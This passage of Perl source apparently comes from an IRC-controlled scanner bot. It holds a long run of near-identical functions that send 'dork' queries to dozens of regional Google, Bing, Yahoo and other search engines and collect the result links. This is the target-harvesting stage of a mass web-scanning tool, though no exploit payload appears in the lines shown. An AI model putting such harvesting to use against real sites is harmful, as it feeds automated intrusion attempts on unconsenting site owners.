  1361. if ($engine eq "BingNO") { my @bingNO = bingNO($dork); push(@total,@bingNO); }
  1362. if ($engine eq "BingDK") { my @bingDK = bingDK($dork); push(@total,@bingDK); }
  1363. if ($engine eq "BingSE") { my @bingSE = bingSE($dork); push(@total,@bingSE); }
  1364. if ($engine eq "BingCH") { my @bingCH = bingCH($dork); push(@total,@bingCH); }
  1365. if ($engine eq "BingNZ") { my @bingNZ = bingNZ($dork); push(@total,@bingNZ); }
  1366. if ($engine eq "BingRU") { my @bingRU = bingRU($dork); push(@total,@bingRU); }
  1367. if ($engine eq "BingJP") { my @bingJP = bingJP($dork); push(@total,@bingJP); }
  1368. if ($engine eq "BingCN") { my @bingCN = bingCN($dork); push(@total,@bingCN); }
  1369. if ($engine eq "BingKR") { my @bingKR = bingKR($dork); push(@total,@bingKR); }
  1370. if ($engine eq "BingMX") { my @bingMX = bingMX($dork); push(@total,@bingMX); }
  1371. if ($engine eq "BingAR") { my @bingAR = bingAR($dork); push(@total,@bingAR); }
  1372. if ($engine eq "BingCL") { my @bingCL = bingCL($dork); push(@total,@bingCL); }
  1373. if ($engine eq "BingAU") { my @bingAU = bingAU($dork); push(@total,@bingAU); }
  1374. if ($engine eq "UoL") { my @uol = &uol($dork); push(@total,@uol); }
  1375. if ($engine eq "OnEt") { my @onet = &onet($dork); push(@total,@onet); }
  1376. if ($engine eq "CLusTy") { my @clusty = &clusty($dork); push(@total,@clusty); }
  1377. if ($engine eq "SaPo") { my @sapo = &sapo($dork); push(@total,@sapo); }
  1378. if ($engine eq "AoL") { my @aol = &aol($dork); push(@total,@aol); }
  1379. if ($engine eq "LyCos") { my @lycos = &lycos($dork); push(@total,@lycos); }
  1380. if ($engine eq "HotBot") { my @hotbot = &hotbot($dork); push(@total,@hotbot); }
  1381. if ($engine eq "SeZNam") { my @seznam = &seznam($dork); push(@total,@seznam); }
  1382. if ($engine eq "BigLobe") { my @biglobe = &biglobe($dork); push(@total,@biglobe); }
  1383. @clean = &clean(@total);
  1384. if ($silentmode == 0) {
  1385. #&msg("$chan","$logo15$engine 4<9=4>9 Total:4 [15".scalar(@total)."4] 9 Clean:4 [15".scalar(@clean)."4] ");
  1386. }
  1387. return @clean;
  1388. }
  1389. ##################################################################################
  1390. sub isFound() {
  1391. my $status = 0;
  1392. my $link = $_[0];
  1393. my $reqexp = $_[1];
  1394. my $res = &get_content($link);
  1395. if ($res =~ /$reqexp/) { $status = 1 }
  1396. return $status;
  1397. }
  1398.  
  1399. sub get_content() {
  1400. my $url = $_[0];
  1401. my $ua = LWP::UserAgent->new(agent => $uagent);
  1402. $ua->timeout($timot);
  1403. my $req = HTTP::Request->new(GET => $url);
  1404. my $res = $ua->request($req);
  1405. return $res->content;
  1406. }
  1407. ######################################### SEARCH ENGINE
  1408.  
  1409. sub jack() {
  1410. my @list;
  1411. my $key = $_[0];
  1412. my $jackx = $_[1];
  1413. for (my $i=0; $i<=1000; $i+=100){
  1414. my $search = ($jackx.uri_escape($key)."&num=100&start=".$i);
  1415. my $res = &search_engine_query($search);
  1416. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1417. my $link = $1;
  1418. if ($link !~ /google/){
  1419. my @grep = &links($link);
  1420. push(@list,@grep);
  1421. }
  1422. }
  1423. }
  1424. return @list;
  1425. }
  1426.  
  1427. sub google() {
  1428. my @list;
  1429. my $key = $_[0];
  1430. for (my $i=0; $i<=1000; $i+=100){
  1431. my $search = ("http://www.google.com/search?q=".uri_escape($key)."&num=100&filter=0&start=".$i);
  1432. my $res = &search_engine_query($search);
  1433. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1434. my $link = $1;
  1435. if ($link !~ /google/){
  1436. my @grep = &links($link);
  1437. push(@list,@grep);
  1438. }
  1439. }
  1440. }
  1441. return @list;
  1442. }
  1443.  
  1444. sub googleCA() {
  1445. my @list;
  1446. my $key = $_[0];
  1447. for (my $i=0; $i<=1000; $i+=100){
  1448. my $search = ("http://www.google.ca/search?q=".uri_escape($key)."&hl=&cr=countryCA&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  1449. my $res = &search_engine_query($search);
  1450. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1451. my $link = $1;
  1452. if ($link !~ /googleCA/){
  1453. my @grep = links($link);
  1454. push(@list,@grep);
  1455. }
  1456. }
  1457. }
  1458. return @list;
  1459. }
  1460.  
  1461. sub googleDE() {
  1462. my @list;
  1463. my $key = $_[0];
  1464. for (my $i=0; $i<=1000; $i+=100){
  1465. my $search = ("http://www.google.de/search?q=".uri_escape($key)."&hl=&cr=countryDE&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  1466. my $res = &search_engine_query($search);
  1467. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1468. my $link = $1;
  1469. if ($link !~ /googleDE/){
  1470. my @grep = links($link);
  1471. push(@list,@grep);
  1472. }
  1473. }
  1474. }
  1475. return @list;
  1476. }
  1477.  
  1478. sub googleUK() {
  1479. my @list;
  1480. my $key = $_[0];
  1481. for (my $i=0; $i<=1000; $i+=100){
  1482. my $search = ("http://www.google.co.uk/search?q=".uri_escape($key)."&hl=&cr=countryUK&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  1483. my $res = &search_engine_query($search);
  1484. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1485. my $link = $1;
  1486. if ($link !~ /googleUK/){
  1487. my @grep = links($link);
  1488. push(@list,@grep);
  1489. }
  1490. }
  1491. }
  1492. return @list;
  1493. }
  1494.  
  1495. sub googleFR() {
  1496. my @list;
  1497. my $key = $_[0];
  1498. for (my $i=0; $i<=1000; $i+=100){
  1499. my $search = ("http://www.google.fr/search?q=".uri_escape($key)."&hl=&cr=countryFR&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  1500. my $res = &search_engine_query($search);
  1501. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1502. my $link = $1;
  1503. if ($link !~ /googleFR/){
  1504. my @grep = links($link);
  1505. push(@list,@grep);
  1506. }
  1507. }
  1508. }
  1509. return @list;
  1510. }
  1511.  
  1512. sub googleES() {
  1513. my @list;
  1514. my $key = $_[0];
  1515. for (my $i=0; $i<=1000; $i+=100){
  1516. my $search = ("http://www.google.es/search?q=".uri_escape($key)."&hl=&cr=countryES&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  1517. my $res = &search_engine_query($search);
  1518. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1519. my $link = $1;
  1520. if ($link !~ /googleES/){
  1521. my @grep = links($link);
  1522. push(@list,@grep);
  1523. }
  1524. }
  1525. }
  1526. return @list;
  1527. }
  1528.  
  1529. sub googleIT() {
  1530. my @list;
  1531. my $key = $_[0];
  1532. for (my $i=0; $i<=1000; $i+=100){
  1533. my $search = ("http://www.google.it/search?q=".uri_escape($key)."&hl=&cr=countryIT&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  1534. my $res = &search_engine_query($search);
  1535. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1536. my $link = $1;
  1537. if ($link !~ /googleIT/){
  1538. my @grep = links($link);
  1539. push(@list,@grep);
  1540. }
  1541. }
  1542. }
  1543. return @list;
  1544. }
  1545. sleep(1);
  1546. sub googleNL() {
  1547. my @list;
  1548. my $key = $_[0];
  1549. for (my $i=0; $i<=1000; $i+=100){
  1550. my $search = ("http://www.google.nl/search?q=".uri_escape($key)."&hl=&cr=countryNL&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  1551. my $res = &search_engine_query($search);
  1552. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1553. my $link = $1;
  1554. if ($link !~ /googleNL/){
  1555. my @grep = links($link);
  1556. push(@list,@grep);
  1557. }
  1558. }
  1559. }
  1560. return @list;
  1561. }
  1562.  
  1563. sub googleBE() {
  1564. my @list;
  1565. my $key = $_[0];
  1566. for (my $i=0; $i<=1000; $i+=100){
  1567. my $search = ("http://www.google.be/search?q=".uri_escape($key)."&hl=&cr=countryBE&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  1568. my $res = &search_engine_query($search);
  1569. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1570. my $link = $1;
  1571. if ($link !~ /googleBE/){
  1572. my @grep = links($link);
  1573. push(@list,@grep);
  1574. }
  1575. }
  1576. }
  1577. return @list;
  1578. }
  1579.  
  1580. sub googleCH() {
  1581. my @list;
  1582. my $key = $_[0];
  1583. for (my $i=0; $i<=1000; $i+=100){
  1584. my $search = ("http://www.google.ch/search?q=".uri_escape($key)."&hl=&cr=countryCH&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  1585. my $res = &search_engine_query($search);
  1586. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1587. my $link = $1;
  1588. if ($link !~ /googleCH/){
  1589. my @grep = links($link);
  1590. push(@list,@grep);
  1591. }
  1592. }
  1593. }
  1594. return @list;
  1595. }
  1596. sleep(1);
  1597. sub googleSE() {
  1598. my @list;
  1599. my $key = $_[0];
  1600. for (my $i=0; $i<=1000; $i+=100){
  1601. my $search = ("http://www.google.se/search?q=".uri_escape($key)."&hl=&cr=countrySE&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  1602. my $res = &search_engine_query($search);
  1603. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1604. my $link = $1;
  1605. if ($link !~ /googleSE/){
  1606. my @grep = links($link);
  1607. push(@list,@grep);
  1608. }
  1609. }
  1610. }
  1611. return @list;
  1612. }
  1613.  
  1614. sub googleDK() {
  1615. my @list;
  1616. my $key = $_[0];
  1617. for (my $i=0; $i<=1000; $i+=100){
  1618. my $search = ("http://www.google.dk/search?q=".uri_escape($key)."&hl=&cr=countryDK&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  1619. my $res = &search_engine_query($search);
  1620. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1621. my $link = $1;
  1622. if ($link !~ /googleDK/){
  1623. my @grep = links($link);
  1624. push(@list,@grep);
  1625. }
  1626. }
  1627. }
  1628. return @list;
  1629. }
  1630.  
  1631. sub googleNO() {
  1632. my @list;
  1633. my $key = $_[0];
  1634. for (my $i=0; $i<=1000; $i+=100){
  1635. my $search = ("http://www.google.no/search?q=".uri_escape($key)."&hl=&cr=countryNO&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  1636. my $res = &search_engine_query($search);
  1637. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1638. my $link = $1;
  1639. if ($link !~ /googleNO/){
  1640. my @grep = links($link);
  1641. push(@list,@grep);
  1642. }
  1643. }
  1644. }
  1645. return @list;
  1646. }
  1647. sleep(1);
  1648. sub googleNZ() {
  1649. my @list;
  1650. my $key = $_[0];
  1651. for (my $i=0; $i<=1000; $i+=100){
  1652. my $search = ("http://www.google.co.nz/search?q=".uri_escape($key)."&hl=&cr=countryNZ&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  1653. my $res = &search_engine_query($search);
  1654. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1655. my $link = $1;
  1656. if ($link !~ /googleNZ/){
  1657. my @grep = links($link);
  1658. push(@list,@grep);
  1659. }
  1660. }
  1661. }
  1662. return @list;
  1663. }
  1664.  
  1665. sub googleIE() {
  1666. my @list;
  1667. my $key = $_[0];
  1668. for (my $i=0; $i<=1000; $i+=100){
  1669. my $search = ("http://www.google.ie/search?q=".uri_escape($key)."&hl=&cr=countryIE&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  1670. my $res = &search_engine_query($search);
  1671. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1672. my $link = $1;
  1673. if ($link !~ /googleIE/){
  1674. my @grep = links($link);
  1675. push(@list,@grep);
  1676. }
  1677. }
  1678. }
  1679. return @list;
  1680. }
  1681.  
  1682. sub googleBR() {
  1683. my @list;
  1684. my $key = $_[0];
  1685. for (my $i=0; $i<=1000; $i+=100){
  1686. my $search = ("http://www.google.com.br/search?q=".uri_escape($key)."&hl=&cr=countryBR&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  1687. my $res = &search_engine_query($search);
  1688. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1689. my $link = $1;
  1690. if ($link !~ /google/){
  1691. my @grep = links($link);
  1692. push(@list,@grep);
  1693. }
  1694. }
  1695. }
  1696. return @list;
  1697. }
  1698. sleep(2);
  1699. sub googleAR() {
  1700. my @list;
  1701. my $key = $_[0];
  1702. for (my $i=0; $i<=1000; $i+=100){
  1703. my $search = ("http://www.google.com.ar/search?q=".uri_escape($key)."&hl=&cr=countryAR&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  1704. my $res = &search_engine_query($search);
  1705. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1706. my $link = $1;
  1707. if ($link !~ /googleAR/){
  1708. my @grep = links($link);
  1709. push(@list,@grep);
  1710. }
  1711. }
  1712. }
  1713. return @list;
  1714. }
  1715.  
  1716. sub googleCO() {
  1717. my @list;
  1718. my $key = $_[0];
  1719. for (my $i=0; $i<=1000; $i+=100){
  1720. my $search = ("http://www.google.com.co/search?q=".uri_escape($key)."&hl=&cr=countryCO&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  1721. my $res = &search_engine_query($search);
  1722. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1723. my $link = $1;
  1724. if ($link !~ /googleCO/){
  1725. my @grep = links($link);
  1726. push(@list,@grep);
  1727. }
  1728. }
  1729. }
  1730. return @list;
  1731. }
  1732.  
  1733. sub googleCU() {
  1734. my @list;
  1735. my $key = $_[0];
  1736. for (my $i=0; $i<=1000; $i+=100){
  1737. my $search = ("http://www.google.com.cu/search?q=".uri_escape($key)."&hl=&cr=countryCU&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  1738. my $res = &search_engine_query($search);
  1739. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1740. my $link = $1;
  1741. if ($link !~ /googleCU/){
  1742. my @grep = links($link);
  1743. push(@list,@grep);
  1744. }
  1745. }
  1746. }
  1747. return @list;
  1748. }
  1749. sleep(2);
  1750. sub googleCL() {
  1751. my @list;
  1752. my $key = $_[0];
  1753. for (my $i=0; $i<=1000; $i+=100){
  1754. my $search = ("http://www.google.cl/search?q=".uri_escape($key)."&hl=&cr=countryCL&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  1755. my $res = &search_engine_query($search);
  1756. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1757. my $link = $1;
  1758. if ($link !~ /googleCL/){
  1759. my @grep = links($link);
  1760. push(@list,@grep);
  1761. }
  1762. }
  1763. }
  1764. return @list;
  1765. }
  1766.  
  1767. sub googleMX() {
  1768. my @list;
  1769. my $key = $_[0];
  1770. for (my $i=0; $i<=1000; $i+=100){
  1771. my $search = ("http://www.google.com.mx/search?q=".uri_escape($key)."&hl=&cr=countryMX&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  1772. my $res = &search_engine_query($search);
  1773. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1774. my $link = $1;
  1775. if ($link !~ /googleMX/){
  1776. my @grep = links($link);
  1777. push(@list,@grep);
  1778. }
  1779. }
  1780. }
  1781. return @list;
  1782. }
  1783.  
  1784. sub googleAU() {
  1785. my @list;
  1786. my $key = $_[0];
  1787. for (my $i=0; $i<=1000; $i+=100){
  1788. my $search = ("http://www.google.com.au/search?q=".uri_escape($key)."&hl=&cr=countryAU&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  1789. my $res = &search_engine_query($search);
  1790. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1791. my $link = $1;
  1792. if ($link !~ /googleAU/){
  1793. my @grep = links($link);
  1794. push(@list,@grep);
  1795. }
  1796. }
  1797. }
  1798. return @list;
  1799. }
  1800. sleep(2);
  1801. sub googleRU() {
  1802. my @list;
  1803. my $key = $_[0];
  1804. for (my $i=0; $i<=1000; $i+=100){
  1805. my $search = ("http://www.google.com.ru/search?q=".uri_escape($key)."&hl=&cr=countryRU&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  1806. my $res = &search_engine_query($search);
  1807. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1808. my $link = $1;
  1809. if ($link !~ /googleRU/){
  1810. my @grep = links($link);
  1811. push(@list,@grep);
  1812. }
  1813. }
  1814. }
  1815. return @list;
  1816. }
  1817.  
  1818. sub googleAT() {
  1819. my @list;
  1820. my $key = $_[0];
  1821. for (my $i=0; $i<=1000; $i+=100){
  1822. my $search = ("http://www.google.at/search?q=".uri_escape($key)."&hl=&cr=countryAT&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  1823. my $res = &search_engine_query($search);
  1824. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1825. my $link = $1;
  1826. if ($link !~ /googleAT/){
  1827. my @grep = links($link);
  1828. push(@list,@grep);
  1829. }
  1830. }
  1831. }
  1832. return @list;
  1833. }
  1834.  
  1835. sub googlePL() {
  1836. my @list;
  1837. my $key = $_[0];
  1838. for (my $i=0; $i<=1000; $i+=100){
  1839. my $search = ("http://www.google.pl/search?q=".uri_escape($key)."&hl=&cr=countryPL&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  1840. my $res = &search_engine_query($search);
  1841. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1842. my $link = $1;
  1843. if ($link !~ /googlePL/){
  1844. my @grep = links($link);
  1845. push(@list,@grep);
  1846. }
  1847. }
  1848. }
  1849. return @list;
  1850. }
  1851. sleep(3);
  1852. sub googleIL() {
  1853. my @list;
  1854. my $key = $_[0];
  1855. for (my $i=0; $i<=1000; $i+=100){
  1856. my $search = ("http://www.google.co.il/search?q=".uri_escape($key)."&hl=&cr=countryIL&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  1857. my $res = &search_engine_query($search);
  1858. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1859. my $link = $1;
  1860. if ($link !~ /googleIL/){
  1861. my @grep = links($link);
  1862. push(@list,@grep);
  1863. }
  1864. }
  1865. }
  1866. return @list;
  1867. }
  1868.  
  1869. sub googleTR() {
  1870. my @list;
  1871. my $key = $_[0];
  1872. for (my $i=0; $i<=1000; $i+=100){
  1873. my $search = ("http://www.google.com.tr/search?q=".uri_escape($key)."&hl=&cr=countryTR&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  1874. my $res = &search_engine_query($search);
  1875. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1876. my $link = $1;
  1877. if ($link !~ /googleTR/){
  1878. my @grep = links($link);
  1879. push(@list,@grep);
  1880. }
  1881. }
  1882. }
  1883. return @list;
  1884. }
  1885.  
  1886. sub googleUA() {
  1887. my @list;
  1888. my $key = $_[0];
  1889. for (my $i=0; $i<=1000; $i+=100){
  1890. my $search = ("http://www.google.com.ua/search?q=".uri_escape($key)."&hl=&cr=countryUA&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  1891. my $res = &search_engine_query($search);
  1892. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1893. my $link = $1;
  1894. if ($link !~ /googleUA/){
  1895. my @grep = links($link);
  1896. push(@list,@grep);
  1897. }
  1898. }
  1899. }
  1900. return @list;
  1901. }
  1902. sleep(3);
  1903. sub googleGR() {
  1904. my @list;
  1905. my $key = $_[0];
  1906. for (my $i=0; $i<=1000; $i+=100){
  1907. my $search = ("http://www.google.gr/search?q=".uri_escape($key)."&hl=&cr=countryGR&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  1908. my $res = &search_engine_query($search);
  1909. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1910. my $link = $1;
  1911. if ($link !~ /googleGR/){
  1912. my @grep = links($link);
  1913. push(@list,@grep);
  1914. }
  1915. }
  1916. }
  1917. return @list;
  1918. }
  1919.  
  1920. sub googleJP() {
  1921. my @list;
  1922. my $key = $_[0];
  1923. for (my $i=0; $i<=1000; $i+=100){
  1924. my $search = ("http://www.google.co.jp/search?q=".uri_escape($key)."&hl=&cr=countryJP&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  1925. my $res = &search_engine_query($search);
  1926. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1927. my $link = $1;
  1928. if ($link !~ /googleJP/){
  1929. my @grep = links($link);
  1930. push(@list,@grep);
  1931. }
  1932. }
  1933. }
  1934. return @list;
  1935. }
  1936.  
  1937. sub googleCN() {
  1938. my @list;
  1939. my $key = $_[0];
  1940. for (my $i=0; $i<=1000; $i+=100){
  1941. my $search = ("http://www.google.cn/search?q=".uri_escape($key)."&hl=&cr=countryCN&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  1942. my $res = &search_engine_query($search);
  1943. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1944. my $link = $1;
  1945. if ($link !~ /googleCN/){
  1946. my @grep = links($link);
  1947. push(@list,@grep);
  1948. }
  1949. }
  1950. }
  1951. return @list;
  1952. }
  1953. sleep(3);
  1954. sub googleMY() {
  1955. my @list;
  1956. my $key = $_[0];
  1957. for (my $i=0; $i<=1000; $i+=100){
  1958. my $search = ("http://www.google.com.my/search?q=".uri_escape($key)."&hl=&cr=countryMY&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  1959. my $res = &search_engine_query($search);
  1960. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1961. my $link = $1;
  1962. if ($link !~ /googleMY/){
  1963. my @grep = links($link);
  1964. push(@list,@grep);
  1965. }
  1966. }
  1967. }
  1968. return @list;
  1969. }
  1970.  
  1971. sub googleTH() {
  1972. my @list;
  1973. my $key = $_[0];
  1974. for (my $i=0; $i<=1000; $i+=100){
  1975. my $search = ("http://www.google.co.th/search?q=".uri_escape($key)."&hl=&cr=countryTH&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  1976. my $res = &search_engine_query($search);
  1977. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1978. my $link = $1;
  1979. if ($link !~ /googleTH/){
  1980. my @grep = links($link);
  1981. push(@list,@grep);
  1982. }
  1983. }
  1984. }
  1985. return @list;
  1986. }
  1987.  
  1988. sub googleIN() {
  1989. my @list;
  1990. my $key = $_[0];
  1991. for (my $i=0; $i<=1000; $i+=100){
  1992. my $search = ("http://www.google.co.in/search?q=".uri_escape($key)."&hl=&cr=countryIN&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  1993. my $res = &search_engine_query($search);
  1994. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1995. my $link = $1;
  1996. if ($link !~ /googleIN/){
  1997. my @grep = links($link);
  1998. push(@list,@grep);
  1999. }
  2000. }
  2001. }
  2002. return @list;
  2003. }
  2004. sleep(3);
  2005. sub googleKR() {
  2006. my @list;
  2007. my $key = $_[0];
  2008. for (my $i=0; $i<=1000; $i+=100){
  2009. my $search = ("http://www.google.co.kr/search?q=".uri_escape($key)."&hl=&cr=countryKR&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2010. my $res = &search_engine_query($search);
  2011. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2012. my $link = $1;
  2013. if ($link !~ /googleKR/){
  2014. my @grep = links($link);
  2015. push(@list,@grep);
  2016. }
  2017. }
  2018. }
  2019. return @list;
  2020. }
  2021.  
  2022. sub googleRO() {
  2023. my @list;
  2024. my $key = $_[0];
  2025. for (my $i=0; $i<=1000; $i+=100){
  2026. my $search = ("http://www.google.ro/search?q=".uri_escape($key)."&hl=&cr=countryRO&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2027. my $res = &search_engine_query($search);
  2028. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2029. my $link = $1;
  2030. if ($link !~ /googleRO/){
  2031. my @grep = links($link);
  2032. push(@list,@grep);
  2033. }
  2034. }
  2035. }
  2036. return @list;
  2037. }
  2038.  
  2039. sub googleTW() {
  2040. my @list;
  2041. my $key = $_[0];
  2042. for (my $i=0; $i<=1000; $i+=100){
  2043. my $search = ("http://www.google.com.tw/search?q=".uri_escape($key)."&hl=&cr=countryTW&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2044. my $res = &search_engine_query($search);
  2045. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2046. my $link = $1;
  2047. if ($link !~ /googleTW/){
  2048. my @grep = links($link);
  2049. push(@list,@grep);
  2050. }
  2051. }
  2052. }
  2053. return @list;
  2054. }
  2055. sleep(3);
  2056. sub googleZA() {
  2057. my @list;
  2058. my $key = $_[0];
  2059. for (my $i=0; $i<=1000; $i+=100){
  2060. my $search = ("http://www.google.co.za/search?q=".uri_escape($key)."&hl=&cr=countryZA&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2061. my $res = &search_engine_query($search);
  2062. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2063. my $link = $1;
  2064. if ($link !~ /googleZA/){
  2065. my @grep = links($link);
  2066. push(@list,@grep);
  2067. }
  2068. }
  2069. }
  2070. return @list;
  2071. }
  2072.  
  2073. sub googlePT() {
  2074. my @list;
  2075. my $key = $_[0];
  2076. for (my $i=0; $i<=1000; $i+=100){
  2077. my $search = ("http://www.google.pt/search?q=".uri_escape($key)."&hl=&cr=countryPT&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2078. my $res = &search_engine_query($search);
  2079. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2080. my $link = $1;
  2081. if ($link !~ /googlePT/){
  2082. my @grep = links($link);
  2083. push(@list,@grep);
  2084. }
  2085. }
  2086. }
  2087. return @list;
  2088. }
  2089.  
  2090. sub walla() {
  2091. my @list;
  2092. my $key = $_[0];
  2093. for ($b=0; $b<=100; $b+=1) {
  2094. my $search = ("http://search.walla.co.il/?q=".uri_escape($key)."&type=text&page=".$b);
  2095. my $res = &search_engine_query($search);
  2096. while ($res =~ m/<a href=\"http:\/\/(.+?)\" title=/g) {
  2097. my $link = $1;
  2098. if ($link !~ /walla\.co\.il/){
  2099. my @grep = &links($link);
  2100. push(@list,@grep);
  2101. }
  2102. }
  2103. }
  2104. return @list;
  2105. }
  2106.  
  2107. sub yahoo(){
  2108. my @list;
  2109. my $key = $_[0];
  2110. for ($b=1; $b<=1000; $b+=10) {
  2111. my $search = ("http://search.yahoo.com/search?p=".uri_escape($key)."&b=".$b);
  2112. my $res = &search_engine_query($search);
  2113. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  2114. my $link = $1;
  2115. if ($link !~ /yahoo\.com/){
  2116. my @grep = &links($link);
  2117. push(@list,@grep);
  2118. }
  2119. }
  2120. }
  2121. return @list;
  2122. }
  2123.  
  2124. sub yahooCA() {
  2125. my @list;
  2126. my $key = $_[0];
  2127. for (my $i=1; $i<=1000; $i+=100) {
  2128. my $search = ("http://CA.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=ca&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  2129. my $res = &search_engine_query($search);
  2130. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  2131. my $link = $1;
  2132. if ($link!~ /yahooCA/){
  2133. my @grep = links($link);
  2134. push(@list,@grep);
  2135. }
  2136. }
  2137. }
  2138. return @list;
  2139. }
  2140.  
  2141. sub yahooUK() {
  2142. my @list;
  2143. my $key = $_[0];
  2144. for (my $i=1; $i<=1000; $i+=100) {
  2145. my $search = ("http://UK.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=gb&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  2146. my $res = &search_engine_query($search);
  2147. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  2148. my $link = $1;
  2149. if ($link!~ /yahooUK/){
  2150. my @grep = links($link);
  2151. push(@list,@grep);
  2152. }
  2153. }
  2154. }
  2155. return @list;
  2156. }
  2157. sleep(4);
  2158. sub yahooDE() {
  2159. my @list;
  2160. my $key = $_[0];
  2161. for (my $i=1; $i<=1000; $i+=100) {
  2162. my $search = ("http://DE.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=de&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  2163. my $res = &search_engine_query($search);
  2164. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  2165. my $link = $1;
  2166. if ($link!~ /yahooDE/){
